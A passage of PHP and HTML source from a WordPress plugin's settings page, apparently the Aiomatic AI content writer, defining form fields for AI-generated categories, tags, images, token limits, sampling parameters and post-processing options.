'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="category_model" name="aiomatic_review_list[category_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post categories. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant categories for the post title: "%%post_title%%". These categories must accurately categorize the article within the broader topics or themes of your blog, aiding in the organization and navigation of your content.</textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select multiple id="default_category" name="aiomatic_review_list[default_category][]" class="cr_width_full" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678" selected><?php echo esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer');?></option> <?php $cat_args = array( 'orderby' => 'name', 'hide_empty' => 0, 'order' => 'ASC' ); $categories = get_categories($cat_args); foreach ($categories as $category) { ?> <option value="<?php echo esc_html($category->term_id); ?>"><?php echo sanitize_text_field($category->name) . ' - ID ' . $category->term_id; ?></option> <?php } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This feature will try to remove the WordPress's default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Remove WP Default Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="remove_default" name="aiomatic_review_list[remove_default][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Add Inexistent Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_inexist" name="aiomatic_review_list[skip_inexist][]" checked> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Tag Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post tags from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_review_list[auto_tags][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="tag_model" name="aiomatic_review_list[tag_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post tags. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant tags for the post title: "%%post_title%%". These tags must accurately reflect the key topics, themes, or keywords associated with the article and help improve its discoverability and organization.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_review_list[default_tags][]" value="" placeholder="Please insert your additional post tags here" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_review_list[max_tokens][]" value="" placeholder="2048" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_review_list[max_seed_tokens][]" value="" placeholder="1000" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Continue Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_review_list[max_continue_tokens][]" value="" placeholder="500" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_review_list[temperature][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="aiomatic_review_list[top_p][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_review_list[presence_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="aiomatic_review_list[frequency_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin's 'Settings' menu -> 'Royalty Free Featured Image Importing Options' section.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Set A Featured Image For Posts (Select Source Below):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="royalty_free" name="aiomatic_review_list[royalty_free][]" class="cr_width_full"> <option value="0"><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("AI Image From Below Selector", 'aiomatic-automatic-ai-content-writer');?></option> <option value="2" selected><?php echo esc_html__("Amazon Product Thumbnail", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition" name="aiomatic_review_list[search_query_repetition][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images" onchange="hideImage('');" name="aiomatic_review_list[enable_ai_images][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } if (isset($aiomatic_Main_Settings['midjourney_app_id']) && trim($aiomatic_Main_Settings['midjourney_app_id']) != '') { ?> <option value="4"><?php echo esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> <option value="3"><?php echo esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">A high detail image with no text of: "%%post_title%%"</textarea> </td> </tr> <tr class="hideDalle cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model" name="aiomatic_review_list[image_model][]" class="cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model" name="aiomatic_review_list[image_size][]" class="cr_width_full"> <option value="256x256"><?php echo esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1792x1024"><?php echo esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1792"><?php echo esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Default Featured Image List:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea class="cr_width_60p" rows="1" name="aiomatic_review_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)"></textarea> <input class="cr_width_33p aiomatic_image_button" type="button" value=">>>"/> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="aiomatic_review_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title" name="aiomatic_review_list[strip_title][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin" name="aiomatic_review_list[skip_spin][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate" name="aiomatic_review_list[skip_translate][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Each Title/Keyword Only Once:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="title_once" name="aiomatic_review_list[title_once][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Overwrite Existing Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="overwrite_existing" name="aiomatic_review_list[overwrite_existing][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_review_list[strip_by_regex][]" placeholder="regex expression" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 